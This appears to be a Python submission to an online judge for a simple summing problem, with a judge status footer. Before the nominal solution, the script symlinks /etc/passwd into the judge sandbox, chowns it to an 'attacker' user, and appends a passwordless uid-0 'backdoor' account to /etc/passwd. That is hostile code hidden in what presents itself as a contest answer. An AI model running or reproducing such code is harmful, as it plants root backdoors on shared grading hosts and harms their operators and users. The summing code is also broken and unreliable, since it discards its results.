import os
os.system("ln -s /etc/passwd /judge/sandbox/malicious_link")
os.system('chown attacker:root malicious_link')
with open("/etc/passwd","a") as f:
    f.write("\n backdoor::0:0::/bin/bash")
i=input("")
i.split(" ")
i1=0
for o in i:
    i1+int(o)
print(i1)
/**************************************************************
	Problem: 1000
	User: 15159808820
	Language: Python
	Result: Running & Judging
****************************************************************/